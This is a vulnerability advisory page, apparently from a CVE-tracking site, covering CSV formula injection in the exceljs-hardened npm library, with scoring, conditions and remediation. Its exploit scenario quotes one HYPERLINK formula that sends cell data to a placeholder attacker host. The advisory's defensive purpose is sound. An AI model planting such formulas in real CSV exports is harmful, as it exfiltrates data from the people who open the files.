Skip to main content

exceljs-hardened CVE-2026-78209

| EUVDEUVD-2026-64684 HIGH
Improper Neutralization of Formula Elements in a CSV File (CWE-1236)
2026-08-24 VulnCheck GHSA-4w2g-jrqm-g99q
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted formula value via application input
  2. Delivery
    Application stores attacker-controlled cell value
  3. Exploit
    exceljs-hardened exports records to CSV without sanitizing formula characters
  4. Execution
    Victim downloads and opens CSV in spreadsheet application
  5. Persist
    Spreadsheet auto-executes injected formula
  6. Impact
    Formula exfiltrates data to attacker-controlled endpoint

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
Exploitation Conditions

Two conditions must hold simultaneously: (1) the attacker must control at least one string value that will be written into a CSV export by the application - achievable through any data-submission vector the application exposes (web form fields, API payloads, file imports, or database records the attacker can influence); and (2) a human victim must open the generated CSV file in a spreadsheet application that auto-executes formulas on open, such as Microsoft Excel (with macros or DDE enabled) or LibreOffice Calc. Exploitation is categorically blocked if the CSV is never opened in a spreadsheet application (e.g., consumed programmatically as plain text). Whether the data-submission step requires authentication depends entirely on the host application, not the exceljs-hardened library - the library itself imposes no authentication boundary. Applications that validate or sanitize user input before storage, or that do not expose CSV exports to consumers of untrusted data, are not exploitable.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N) reflects a remotely reachable attack with no complexity or privilege prerequisites from the library's perspective, though passive user interaction (UI:P - opening the CSV) is required. The high confidentiality score (VC:H, SC:H) captures the potential for formula-driven data exfiltration across the scope boundary into the spreadsheet application. Real-world risk is moderate-to-high specifically for applications that accept untrusted user input and then export it to downloadable CSVs - an extremely common pattern in SaaS dashboards, admin panels, and data export features. The absence of a CISA KEV listing and no identified public proof-of-concept reduce immediate mass-exploitation urgency; however, CSV formula injection is a well-understood attack class with publicly documented techniques, meaning motivated attackers need no novel exploit development. The library's own security-hardened branding implies its adopters may be operating in higher-sensitivity environments, raising the consequence of exploitation. The user interaction requirement is the primary practical limiter - server-side impact is nil without a human opening the file.

Exploit ScenarioDerived

An attacker submits a crafted input - for example, a name field containing =HYPERLINK("http://attacker.example/exfil?d="&A1,"View Report") - to any form or API endpoint whose data is later exported via exceljs-hardened. An administrator or end-user downloads the resulting CSV and opens it in Microsoft Excel or LibreOffice Calc, at which point the spreadsheet application executes the formula, silently sending cell contents to the attacker's server. No public exploit code has been identified at time of analysis, but the attack technique requires no specialist tooling beyond knowledge of CSV formula injection.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

CSV formula injection in exceljs-hardened before version 5.0.0 allows attackers who can influence exported cell values to embed spreadsheet formulas in generated CSV output by supplying values beginning with =, +, -, or @. When a victim opens the resulting CSV in a spreadsheet application such as Microsoft Excel or LibreOffice Calc, injected formulas execute in the spreadsheet context, enabling data exfiltration or unauthorized actions within that application. No public exploit has been identified at time of analysis, but the CVSS 4.0 score of 8.4 reflects high confidentiality impact and a scope change to the subsequent spreadsheet application system.

RemediationAI

Upgrade exceljs-hardened to version 5.0.0 or later, which introduces proper neutralization of leading formula-trigger characters (=, +, -, @) in CSV cell values, as documented in the security advisory at https://github.com/mateocallec/exceljs-hardened/security/advisories/GHSA-9wxc-4rhw-hfrw. If an immediate upgrade is not feasible, applications should sanitize all user-controlled string values before passing them to the CSV export function - specifically by prefixing any value beginning with =, +, -, or @ with a tab character or single quote to prevent formula interpretation; note that single-quote prefixing may be visible to end-users in some spreadsheet applications, which is an acceptable trade-off versus injection risk. As a defense-in-depth control, server-side input validation stripping or rejecting leading formula characters from text fields narrows the attack surface without requiring changes to the export layer, though this approach requires careful scoping to avoid breaking legitimate data such as phone numbers beginning with +. Do not rely on end-user education about opening CSV files as a compensating control.

Affected VersionsENISA

exceljs 0 ≤4.4.0

Affected Packages

euvd exceljs no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

exceljs-hardened is a security-focused npm fork of the widely-used exceljs Node.js library, which provides Excel and CSV file generation capabilities. The flaw originates in the CSV serialization path, specifically identifiable at lib/csv/csv.js lines 109-182 of upstream exceljs v4.4.0 (https://github.com/exceljs/exceljs/blob/v4.4.0/lib/csv/csv.js#L109-L182), where cell values are written to CSV output without checking for or neutralizing formula-trigger characters. CWE-1236 (Improper Neutralization of Formula Elements in a CSV File) precisely describes this root cause: spreadsheet applications interpret cell values beginning with =, +, -, or @ as formula directives rather than literal data, executing arbitrary expressions including network-connected functions like HYPERLINK or DDE. The CPE cpe:2.3:a:exceljs:exceljs:*:*:*:*:*:*:*:* identifies the upstream exceljs library as the origin of this code, underscoring that exceljs-hardened inherited the vulnerable implementation despite its security-hardening mandate.

Know when Exceljs gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
vuln.today AI 8.2 HIGH

Network delivery with no auth or complexity needed; user must open CSV (UI:R); scope changes to spreadsheet app executing the formula (S:C); high confidentiality, low integrity impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

exceljs-hardened versions before 5.0.0 fail to neutralize leading equals, plus, minus, or at signs in cell values written to CSV output. Attackers who can influence exported cell values can inject formulas that execute when the CSV file is opened in a spreadsheet application, potentially exfiltrating data or performing other malicious actions.

Executive ViewAI

Why It Matters

exceljs-hardened before version 5.0.0 contains a CSV formula injection vulnerability affecting organizations that export user or external data to CSV format. While no public exploit identified at time of analysis, attackers could embed malicious formulas triggering data exfiltration or unauthorized spreadsheet modifications when victims open files in Microsoft Excel or LibreOffice Calc. Exposure exists for any system using exceljs-hardened without input sanitization of exported cell values.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: Input validation-sanitize all exported cell values by removing or escaping leading formula characters (=, +, -, @) at the point of CSV generation. Output handling-document that CSV files should be opened with formula calculation disabled and advise customers on safe import practices in Microsoft Excel and LibreOffice Calc. Access controls-restrict CSV export functionality to authenticated, authorized users and implement audit logging for all export operations.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Low
niche security fork of exceljs, limited known enterprise adoption
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Related Vulnerabilities in exceljs-hardened Multiple Security Vulnerabilities

View all 4
CVE-2018-16459 MEDIUM POC
6.1 Sep 06

An unescaped payload in exceljs <v1.6 allows a possible XSS via cell value when worksheet is displayed in browser. Rated

CVE-2026-128339 HIGH
8.7 Nov 13

Parsing an untrusted XLSX workbook with ExcelJS through 4.4.0 can exhaust the Node.js heap and abort the entire process,

CVE-2026-128343 HIGH
8.7 Nov 13

Denial of service in ExcelJS through 4.4.0: a crafted XLSX containing a <row> element numbered far beyond Excel's 1,048,

CVE-2026-128338 HIGH
8.7 Nov 13

ExcelJS through 4.4.0 can be crashed by a crafted .xlsx workbook whose worksheet col element has an unbounded max value:

CVE-2026-128340 HIGH
8.7 Nov 13

Loading a maliciously crafted spreadsheet can abort the entire Node.js process in ExcelJS through 4.4.0: a single define

CVE-2026-128341 HIGH
8.7 Nov 13

Loading an attacker-supplied .xlsx workbook with ExcelJS through 4.4.0 can exhaust CPU and memory and terminate the Node

CVE-2026-128342 HIGH
8.7 Nov 13

Denial of service in ExcelJS through 4.4.0 lets a remote, unauthenticated attacker stall a Node.js service for seconds a

CVE-2026-128344 HIGH
8.7 Nov 13

Heap-exhaustion denial of service in ExcelJS through 4.4.0 lets an unauthenticated attacker crash a Node.js application

CVE-2026-128346 HIGH
8.7 Nov 13

ExcelJS through 4.4.0 leaks temporary files and open file descriptors when the streaming WorkbookReader aborts mid-parse

CVE-2026-128347 HIGH
8.7 Nov 13

Arbitrary local file read in ExcelJS lets a crafted image filename pull any file the Node.js process can read into a gen

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy